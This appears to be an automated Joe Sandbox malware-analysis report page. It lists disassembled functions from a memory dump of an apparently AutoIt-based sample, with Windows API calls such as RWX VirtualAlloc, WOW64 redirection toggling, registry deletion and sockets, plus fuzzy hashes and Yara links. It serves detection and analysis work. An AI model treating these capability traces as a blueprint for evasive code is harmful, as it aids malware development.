Associated: 00000002.00000002.1319599827.0000000000157000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_90000_2NJzy3tiny.jbxd

Similarity

API ID: MessageSend$Window
String ID: SysMonthCal32
API String ID: 2326795674-1439706946
Opcode ID: 411e07b24209433a8bd476729d5631cff7ebce2acb2092a71ffc8b51d8e7473e
Instruction ID: 6284afc6dff4ac9794fbb7b064c389858bb266593c83ab8af01f662ab3726017
Opcode Fuzzy Hash: 411e07b24209433a8bd476729d5631cff7ebce2acb2092a71ffc8b51d8e7473e
Instruction Fuzzy Hash: 93219F32604219ABDF15CF64CC46FEA3B7AEB48724F110224FE156B1D0DB75AC91DBA0

Function 00117B93 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 88windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000000,00000469,?,00000000), ref: 00117C4A
SendMessageW.USER32(00000000,00000465,00000000,80017FFF), ref: 00117C58
DestroyWindow.USER32(00000000,00000000,?,?,?,00000000,msctls_updown32,00000000,00000000,00000000,00000000,00000000,00000000,?,?,00000000), ref: 00117C5F

Strings

msctls_updown32, xrefs: 00117BC4

Memory Dump Source

Source File: 00000002.00000002.1319459173.0000000000091000.00000020.00000001.01000000.00000004.sdmp, Offset: 00090000, based on PE: true

Associated: 00000002.00000002.1319442191.0000000000090000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.000000000011F000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.0000000000144000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319581941.000000000014E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319599827.0000000000157000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_90000_2NJzy3tiny.jbxd

Similarity

API ID: MessageSend$DestroyWindow
String ID: msctls_updown32
API String ID: 4014797782-2298589950
Opcode ID: 62a4df961e3cd9e5ae75de50e87d0570982dc340818fce5374712aee58adeae6
Instruction ID: 42f1c030903db2c98d42f91492b314096adb632633b0122beb4878eb60d9637b
Opcode Fuzzy Hash: 62a4df961e3cd9e5ae75de50e87d0570982dc340818fce5374712aee58adeae6
Instruction Fuzzy Hash: 62217CB1204209AFDB14DF24DCC1DE637ADEB59394B144069FA119B3A1CB31EC818AA0

Function 00116CB0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 84windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000000,00000180,00000000,?), ref: 00116D3B
SendMessageW.USER32(?,00000186,00000000,00000000), ref: 00116D4B
MoveWindow.USER32(?,?,?,?,?,00000000,?,?,Listbox,00000000,00000000,?,?,?,?,?), ref: 00116D70

Strings

Listbox, xrefs: 00116D08

Memory Dump Source

Source File: 00000002.00000002.1319459173.0000000000091000.00000020.00000001.01000000.00000004.sdmp, Offset: 00090000, based on PE: true

Associated: 00000002.00000002.1319442191.0000000000090000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.000000000011F000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.0000000000144000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319581941.000000000014E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319599827.0000000000157000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_90000_2NJzy3tiny.jbxd

Similarity

API ID: MessageSend$MoveWindow
String ID: Listbox
API String ID: 3315199576-2633736733
Opcode ID: 5e7b7c247074c3b7ba13f4929cf7becb8a7eee7a90ed14f9560b4a3ce6729966
Instruction ID: 59141647c85d009d4de35f16473d09281c129815f1685c526e599fb18df84083
Opcode Fuzzy Hash: 5e7b7c247074c3b7ba13f4929cf7becb8a7eee7a90ed14f9560b4a3ce6729966
Instruction Fuzzy Hash: 6721B032600118BFDF198F54DC45FEB3BBAEB89760F018138F9459B1A0C7729C9287A0

Function 0011770E Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 66windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000000,00000405,00000000,00000000), ref: 00117772
SendMessageW.USER32(?,00000406,00000000,00640000), ref: 00117787
SendMessageW.USER32(?,00000414,0000000A,00000000), ref: 00117794

Strings

msctls_trackbar32, xrefs: 00117749

Memory Dump Source

Source File: 00000002.00000002.1319459173.0000000000091000.00000020.00000001.01000000.00000004.sdmp, Offset: 00090000, based on PE: true

Associated: 00000002.00000002.1319442191.0000000000090000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.000000000011F000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.0000000000144000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319581941.000000000014E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319599827.0000000000157000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_90000_2NJzy3tiny.jbxd

Similarity

API ID: MessageSend
String ID: msctls_trackbar32
API String ID: 3850602802-1010561917
Opcode ID: ad26dea83e340de267e85d97a43e5a676a1820131212f8612512bcea5a438903
Instruction ID: 240bc9ead863634ca760f23cb6158966c8dd21019a06555735ee1dd7e473ab80
Opcode Fuzzy Hash: ad26dea83e340de267e85d97a43e5a676a1820131212f8612512bcea5a438903
Instruction Fuzzy Hash: CF112772204208BAEF185F60CC05FD73779EF88B64F014128F641961D0D371E891CB10

Function 00094C03 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 18libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(kernel32.dll,?,00094BD0,?,00094DEF,?,001552F8,00000001,>>>AUTOIT NO CMDEXECUTE<<<,?), ref: 00094C11
GetProcAddress.KERNEL32(00000000,Wow64DisableWow64FsRedirection), ref: 00094C23

Strings

kernel32.dll, xrefs: 00094C0C
Wow64DisableWow64FsRedirection, xrefs: 00094C1D

Memory Dump Source

Source File: 00000002.00000002.1319459173.0000000000091000.00000020.00000001.01000000.00000004.sdmp, Offset: 00090000, based on PE: true

Associated: 00000002.00000002.1319442191.0000000000090000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.000000000011F000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.0000000000144000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319581941.000000000014E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319599827.0000000000157000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_90000_2NJzy3tiny.jbxd

Similarity

API ID: AddressLibraryLoadProc
String ID: Wow64DisableWow64FsRedirection$kernel32.dll
API String ID: 2574300362-3689287502
Opcode ID: 817615c97c97144be7bdceb0a828df606646601a64ce7669bd6c0f69990b042f
Instruction ID: 8071aed412cf3baf11f6a6414fa026c57075706c13d9e2acdcc8509dacc3febe
Opcode Fuzzy Hash: 817615c97c97144be7bdceb0a828df606646601a64ce7669bd6c0f69990b042f
Instruction Fuzzy Hash: E4D0C270500713DFCB205F70D908646B6D5EF08342B00CC3DA495C6560E7B0C4C2CA10

Function 00094C36 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 18libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(kernel32.dll,?,00094B83,?), ref: 00094C44
GetProcAddress.KERNEL32(00000000,Wow64RevertWow64FsRedirection), ref: 00094C56

Strings

kernel32.dll, xrefs: 00094C3F
Wow64RevertWow64FsRedirection, xrefs: 00094C50

Memory Dump Source

Source File: 00000002.00000002.1319459173.0000000000091000.00000020.00000001.01000000.00000004.sdmp, Offset: 00090000, based on PE: true

Associated: 00000002.00000002.1319442191.0000000000090000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.000000000011F000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.0000000000144000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319581941.000000000014E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319599827.0000000000157000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_90000_2NJzy3tiny.jbxd

Similarity

API ID: AddressLibraryLoadProc
String ID: Wow64RevertWow64FsRedirection$kernel32.dll
API String ID: 2574300362-1355242751
Opcode ID: af3bbcead0b1c9e0ed48738ac59bc1e938f78d643dd8b78baf667d6a39693581
Instruction ID: b5b1ca61ef369cef17c9f94c9bc4478fb4e6a1dfb80dd76f3bd2e5a2824f7160
Opcode Fuzzy Hash: af3bbcead0b1c9e0ed48738ac59bc1e938f78d643dd8b78baf667d6a39693581
Instruction Fuzzy Hash: 37D02E70604B13DFCB288F31DA08A8A77E4AF01340B10C83EE496CA670E770E8C1CA10

Function 00110DE7 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 18libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(advapi32.dll,?,00111039), ref: 00110DF5
GetProcAddress.KERNEL32(00000000,RegDeleteKeyExW), ref: 00110E07

Strings

advapi32.dll, xrefs: 00110DF0
RegDeleteKeyExW, xrefs: 00110E01

Memory Dump Source

Source File: 00000002.00000002.1319459173.0000000000091000.00000020.00000001.01000000.00000004.sdmp, Offset: 00090000, based on PE: true

Associated: 00000002.00000002.1319442191.0000000000090000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.000000000011F000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.0000000000144000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319581941.000000000014E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319599827.0000000000157000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_90000_2NJzy3tiny.jbxd

Similarity

API ID: AddressLibraryLoadProc
String ID: RegDeleteKeyExW$advapi32.dll
API String ID: 2574300362-4033151799
Opcode ID: dcf0f78fa2f4a5e3def14d29d901d8288ffee580f83f8e6cb22c3c3278578578
Instruction ID: c165a52485a406fd4a63f46aedc206bb1eaa10eddf3001016f10ec42e1122346
Opcode Fuzzy Hash: dcf0f78fa2f4a5e3def14d29d901d8288ffee580f83f8e6cb22c3c3278578578
Instruction Fuzzy Hash: 7DD01770A10722DFD7259F76C9086C77AE5AF08352F21CC3EA486D6560E7B4D8D0CA50

Function 001090E0 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 18libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(kernel32.dll,00000001,00108CF4,?,0011F910), ref: 001090EE
GetProcAddress.KERNEL32(00000000,GetModuleHandleExW), ref: 00109100

Strings

GetModuleHandleExW, xrefs: 001090FA
kernel32.dll, xrefs: 001090E9

Memory Dump Source

Source File: 00000002.00000002.1319459173.0000000000091000.00000020.00000001.01000000.00000004.sdmp, Offset: 00090000, based on PE: true

Associated: 00000002.00000002.1319442191.0000000000090000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.000000000011F000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.0000000000144000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319581941.000000000014E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319599827.0000000000157000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_90000_2NJzy3tiny.jbxd

Similarity

API ID: AddressLibraryLoadProc
String ID: GetModuleHandleExW$kernel32.dll
API String ID: 2574300362-199464113
Opcode ID: f2ec85854e7612040d5a2ce8b1438faf0c1a913bcb0dbbc0fa901c962e1c883b
Instruction ID: 8707840a75b24edbb769e53003fa45f78c9df104d37a38b89e5bdbac6e42c292
Opcode Fuzzy Hash: f2ec85854e7612040d5a2ce8b1438faf0c1a913bcb0dbbc0fa901c962e1c883b
Instruction Fuzzy Hash: 7DD01734614713DFDB249F31D92868676E4AF05361B12C83EA4D6D69A1EBB4C8C1CA90

Function 000D1714 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 17timeCOMMON

Download Yara Rule

APIs

GetLocalTime.KERNEL32(?), ref: 000D1718
__swprintf.LIBCMT ref: 000D1749

Strings

WIN_XPe, xrefs: 000D1788
%.3d, xrefs: 000D1723

Memory Dump Source

Source File: 00000002.00000002.1319459173.0000000000091000.00000020.00000001.01000000.00000004.sdmp, Offset: 00090000, based on PE: true

Associated: 00000002.00000002.1319442191.0000000000090000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.000000000011F000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.0000000000144000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319581941.000000000014E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319599827.0000000000157000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_90000_2NJzy3tiny.jbxd

Similarity

API ID: LocalTime__swprintf
String ID: %.3d$WIN_XPe
API String ID: 2070861257-2409531811
Opcode ID: 0803c4d1e248259976b16287db6a8f836eaeb8a7b0eec909f5023737085f37f6
Instruction ID: 86480aec85e8f638e54a47097eae8443b36d10ee743afbd04305cf2416b1d9f8
Opcode Fuzzy Hash: 0803c4d1e248259976b16287db6a8f836eaeb8a7b0eec909f5023737085f37f6
Instruction Fuzzy Hash: 0DD0127190C208FACB2496909888CFD777CA708311F100553B402921A1E6319B94E631

Function 000E717D Relevance: 6.3, APIs: 4, Instructions: 333COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.1319459173.0000000000091000.00000020.00000001.01000000.00000004.sdmp, Offset: 00090000, based on PE: true

Associated: 00000002.00000002.1319442191.0000000000090000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.000000000011F000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.0000000000144000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319581941.000000000014E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319599827.0000000000157000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_90000_2NJzy3tiny.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3504c002a3f64a0213bd606d4e4cfede82b22b937294eea8adbe4fa94ec84bd4
Instruction ID: 710d96f7afbca870ef986f69525c5e2e5e6c3bdd2760114c4a41b9c1157915ce
Opcode Fuzzy Hash: 3504c002a3f64a0213bd606d4e4cfede82b22b937294eea8adbe4fa94ec84bd4
Instruction Fuzzy Hash: D2C17074A04256EFDB14CFA5C884EAEBBF5FF48704B148598E909EB251D730ED81DB90

Function 0010E02A Relevance: 6.3, APIs: 4, Instructions: 307memoryCOMMON

Download Yara Rule

APIs

CharLowerBuffW.USER32(?,?), ref: 0010E0BE
CharLowerBuffW.USER32(?,?), ref: 0010E101

Part of subcall function 0010D7A5: CharLowerBuffW.USER32(?,?,?,?,00000000,?,?), ref: 0010D7C5

VirtualAlloc.KERNEL32(00000000,00000077,00003000,00000040), ref: 0010E301
_memmove.LIBCMT ref: 0010E314

Memory Dump Source

Source File: 00000002.00000002.1319459173.0000000000091000.00000020.00000001.01000000.00000004.sdmp, Offset: 00090000, based on PE: true

Associated: 00000002.00000002.1319442191.0000000000090000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.000000000011F000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.0000000000144000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319581941.000000000014E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319599827.0000000000157000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_90000_2NJzy3tiny.jbxd

Similarity

API ID: BuffCharLower$AllocVirtual_memmove
String ID:
API String ID: 3659485706-0
Opcode ID: 221b3a47a1bbdae6acef7648f27be60174892131966a0c4eb5e1be2b0173d647
Instruction ID: bd2b1887a1b0b844c5708a2be6e89e84837d49fff8b9520239a30b5d3892338e
Opcode Fuzzy Hash: 221b3a47a1bbdae6acef7648f27be60174892131966a0c4eb5e1be2b0173d647
Instruction Fuzzy Hash: FEC13A716083019FC714DF29C480A6ABBE4FF89714F14896DF8999B392D771E946CF82

Function 00108093 Relevance: 6.3, APIs: 4, Instructions: 267COMMON

Download Yara Rule

APIs

CoInitialize.OLE32(00000000), ref: 001080C3
CoUninitialize.OLE32 ref: 001080CE

Part of subcall function 000ED56C: CoCreateInstance.OLE32(?,00000000,00000005,?,?,?,?,?,?,?,?,?,?,?), ref: 000ED5D4

VariantInit.OLEAUT32(?), ref: 001080D9
VariantClear.OLEAUT32(?), ref: 001083AA

Memory Dump Source

Source File: 00000002.00000002.1319459173.0000000000091000.00000020.00000001.01000000.00000004.sdmp, Offset: 00090000, based on PE: true

Associated: 00000002.00000002.1319442191.0000000000090000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.000000000011F000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.0000000000144000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319581941.000000000014E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319599827.0000000000157000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_90000_2NJzy3tiny.jbxd

Similarity

API ID: Variant$ClearCreateInitInitializeInstanceUninitialize
String ID:
API String ID: 780911581-0
Opcode ID: 98aeeb607b3ff9f013cddf40b3fd9748394fcd5627a22ba38744cb1c0c080a3e
Instruction ID: 76aecfb66f5bbd4c9cd87ec03e521393d9bfde4da8a180952f7d4269db4acc9c
Opcode Fuzzy Hash: 98aeeb607b3ff9f013cddf40b3fd9748394fcd5627a22ba38744cb1c0c080a3e
Instruction Fuzzy Hash: 90A158756087019FCB04DF68C881A6AB7E4BF89724F04445CF9DA9B3A2DB70ED05DB82

Function 000E7530 Relevance: 6.2, APIs: 4, Instructions: 231COMMON

Download Yara Rule

APIs

ProgIDFromCLSID.OLE32(?,00000000,?,00000000,00000800,00000000,?,00122C7C,?), ref: 000E76EA
CoTaskMemFree.OLE32(00000000,00000000,?,00000000,00000800,00000000,?,00122C7C,?), ref: 000E7702
CLSIDFromProgID.OLE32(?,?,00000000,0011FB80,000000FF,?,00000000,00000800,00000000,?,00122C7C,?), ref: 000E7727
_memcmp.LIBCMT ref: 000E7748

Memory Dump Source

Source File: 00000002.00000002.1319459173.0000000000091000.00000020.00000001.01000000.00000004.sdmp, Offset: 00090000, based on PE: true

Associated: 00000002.00000002.1319442191.0000000000090000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.000000000011F000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.0000000000144000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319581941.000000000014E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319599827.0000000000157000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_90000_2NJzy3tiny.jbxd

Similarity

API ID: FromProg$FreeTask_memcmp
String ID:
API String ID: 314563124-0
Opcode ID: a578f6873977e4a6ccc076760e46d2938bd79bd170d49e966c1ce0afaf308984
Instruction ID: 158421271a5a74a61d728d6f4f34b30a54161ac1684eff66d51f8671f02b67b4
Opcode Fuzzy Hash: a578f6873977e4a6ccc076760e46d2938bd79bd170d49e966c1ce0afaf308984
Instruction Fuzzy Hash: 1E811A75A04109EFCB04DFA5C984EEEB7B9FF89315F204558E50ABB250DB71AE06CB60

Function 000E687D Relevance: 6.2, APIs: 4, Instructions: 202memoryCOMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32(?), ref: 000E688E
SysAllocString.OLEAUT32(00000000), ref: 000E6937
VariantCopy.OLEAUT32 ref: 000E6966
VariantClear.OLEAUT32(?), ref: 000E698D

Memory Dump Source

Source File: 00000002.00000002.1319459173.0000000000091000.00000020.00000001.01000000.00000004.sdmp, Offset: 00090000, based on PE: true

Associated: 00000002.00000002.1319442191.0000000000090000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.000000000011F000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.0000000000144000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319581941.000000000014E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319599827.0000000000157000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_90000_2NJzy3tiny.jbxd

Similarity

API ID: Variant$AllocClearCopyInitString
String ID:
API String ID: 2808897238-0
Opcode ID: e3fff0be2c6ad9e18ab4b49d61aa68135446f669b2b35a6ad89df7e6022d2253
Instruction ID: 8352990405373e684e41011b7f26f950f8eedd21f4294e0a14904da1bbee379b
Opcode Fuzzy Hash: e3fff0be2c6ad9e18ab4b49d61aa68135446f669b2b35a6ad89df7e6022d2253
Instruction Fuzzy Hash: B151D874B043419EDB249F66E8916BEB7E59F64350F24D82FE546F7292DB31D840CB02

Function 001197F4 Relevance: 6.1, APIs: 4, Instructions: 140COMMON

Download Yara Rule

APIs

GetWindowRect.USER32(016AEBC8,?), ref: 00119863
ScreenToClient.USER32(00000002,00000002), ref: 00119896
MoveWindow.USER32(?,?,?,?,000000FF,00000001,?,?,00000002,?,?), ref: 00119903

Memory Dump Source

Source File: 00000002.00000002.1319459173.0000000000091000.00000020.00000001.01000000.00000004.sdmp, Offset: 00090000, based on PE: true

Associated: 00000002.00000002.1319442191.0000000000090000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.000000000011F000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.0000000000144000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319581941.000000000014E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319599827.0000000000157000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_90000_2NJzy3tiny.jbxd

Similarity

API ID: Window$ClientMoveRectScreen
String ID:
API String ID: 3880355969-0
Opcode ID: a8999238bf87b41269da006b7eccc3a45b4ca81caab7c915ef396d6733900606
Instruction ID: 3fdfb9d4ac15eaed03cae372f0bc56141a5d5dd621f20dcdeeed8626b11e1617
Opcode Fuzzy Hash: a8999238bf87b41269da006b7eccc3a45b4ca81caab7c915ef396d6733900606
Instruction Fuzzy Hash: 55512B34A00609EFCF18CF64C990AEE7BB6FF55364F148169F9659B2A0D730AD81CB90

Function 000E9A80 Relevance: 6.1, APIs: 4, Instructions: 129windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,0000110A,00000004,00000000), ref: 000E9AD2
__itow.LIBCMT ref: 000E9B03

Part of subcall function 000E9D53: SendMessageW.USER32(?,0000113E,00000000,00000000), ref: 000E9DBE

SendMessageW.USER32(?,0000110A,00000001,?), ref: 000E9B6C
__itow.LIBCMT ref: 000E9BC3

Memory Dump Source

Source File: 00000002.00000002.1319459173.0000000000091000.00000020.00000001.01000000.00000004.sdmp, Offset: 00090000, based on PE: true

Associated: 00000002.00000002.1319442191.0000000000090000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.000000000011F000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.0000000000144000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319581941.000000000014E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319599827.0000000000157000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_90000_2NJzy3tiny.jbxd

Similarity

API ID: MessageSend$__itow
String ID:
API String ID: 3379773720-0
Opcode ID: b7839276d061a12e0df28e87e53b1c5b174ec63ebe322c918125bb2375f7ff91
Instruction ID: 8092aef58ca07c92e4b327b6856b94fb86a3728d811f6c7f319c0073db8eb7b0
Opcode Fuzzy Hash: b7839276d061a12e0df28e87e53b1c5b174ec63ebe322c918125bb2375f7ff91
Instruction Fuzzy Hash: 65418171A00348AFDF25EF55D845BFE7BB9EF44710F000069F909A7292DB709A44CBA1

Function 001069AA Relevance: 6.1, APIs: 4, Instructions: 127networkCOMMON

Download Yara Rule

APIs

socket.WSOCK32(00000002,00000002,00000011), ref: 001069D1
WSAGetLastError.WSOCK32(00000000), ref: 001069E1

Part of subcall function 00099837: __itow.LIBCMT ref: 00099862
Part of subcall function 00099837: __swprintf.LIBCMT ref: 000998AC

#21.WSOCK32(?,0000FFFF,00000020,00000002,00000004), ref: 00106A45
WSAGetLastError.WSOCK32(00000000), ref: 00106A51

Memory Dump Source

Source File: 00000002.00000002.1319459173.0000000000091000.00000020.00000001.01000000.00000004.sdmp, Offset: 00090000, based on PE: true

Associated: 00000002.00000002.1319442191.0000000000090000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.000000000011F000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.0000000000144000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319581941.000000000014E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319599827.0000000000157000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_90000_2NJzy3tiny.jbxd

Similarity

API ID: ErrorLast$__itow__swprintfsocket
String ID:
API String ID: 2214342067-0
Opcode ID: 14c8b70f8694236e404e0a1f59a18ef934a30e85e7f50eee2312f961e26ca7a2
Instruction ID: 88e5121bb70c3bd91caea5d151bee472a99eaa35981b3548e1225c7072aca334
Opcode Fuzzy Hash: 14c8b70f8694236e404e0a1f59a18ef934a30e85e7f50eee2312f961e26ca7a2
Instruction Fuzzy Hash: 34418F75740200AFEB64AF28CC86FBA77A49B45B14F04C01CFA59AB2D3DBB19D019791

Function 0010641A Relevance: 6.1, APIs: 4, Instructions: 116COMMON

Download Yara Rule

APIs

#16.WSOCK32(?,?,00000000,00000000,00000000,00000000,?,?,00000000,0011F910), ref: 001064A7
_strlen.LIBCMT ref: 001064D9

Memory Dump Source

Source File: 00000002.00000002.1319459173.0000000000091000.00000020.00000001.01000000.00000004.sdmp, Offset: 00090000, based on PE: true

Associated: 00000002.00000002.1319442191.0000000000090000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.000000000011F000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.0000000000144000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319581941.000000000014E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319599827.0000000000157000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_90000_2NJzy3tiny.jbxd

Similarity

API ID: _strlen
String ID:
API String ID: 4218353326-0
Opcode ID: a0f238526d17839204a650824c1baf914fe17e12fb2548a9a642ef41621f297a
Instruction ID: fd752a4f48d923258f330a44479c1b50cbee8d4d6da47f76ab53a0e6dc8d0f4d
Opcode Fuzzy Hash: a0f238526d17839204a650824c1baf914fe17e12fb2548a9a642ef41621f297a
Instruction Fuzzy Hash: F741A031A00104AFCB14EBA9EC96FFEB7A9AF14350F148169F8599B2D3DB70AD10DB51

Function 000FB7F4 Relevance: 6.1, APIs: 4, Instructions: 111fileCOMMON

Download Yara Rule

APIs

CreateHardLinkW.KERNEL32(00000002,?,00000000), ref: 000FB89E
GetLastError.KERNEL32(?,00000000), ref: 000FB8C4
DeleteFileW.KERNEL32(00000002,?,00000000), ref: 000FB8E9
CreateHardLinkW.KERNEL32(00000002,?,00000000,?,00000000), ref: 000FB915

Memory Dump Source

Source File: 00000002.00000002.1319459173.0000000000091000.00000020.00000001.01000000.00000004.sdmp, Offset: 00090000, based on PE: true

Associated: 00000002.00000002.1319442191.0000000000090000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.000000000011F000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.0000000000144000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319581941.000000000014E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319599827.0000000000157000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

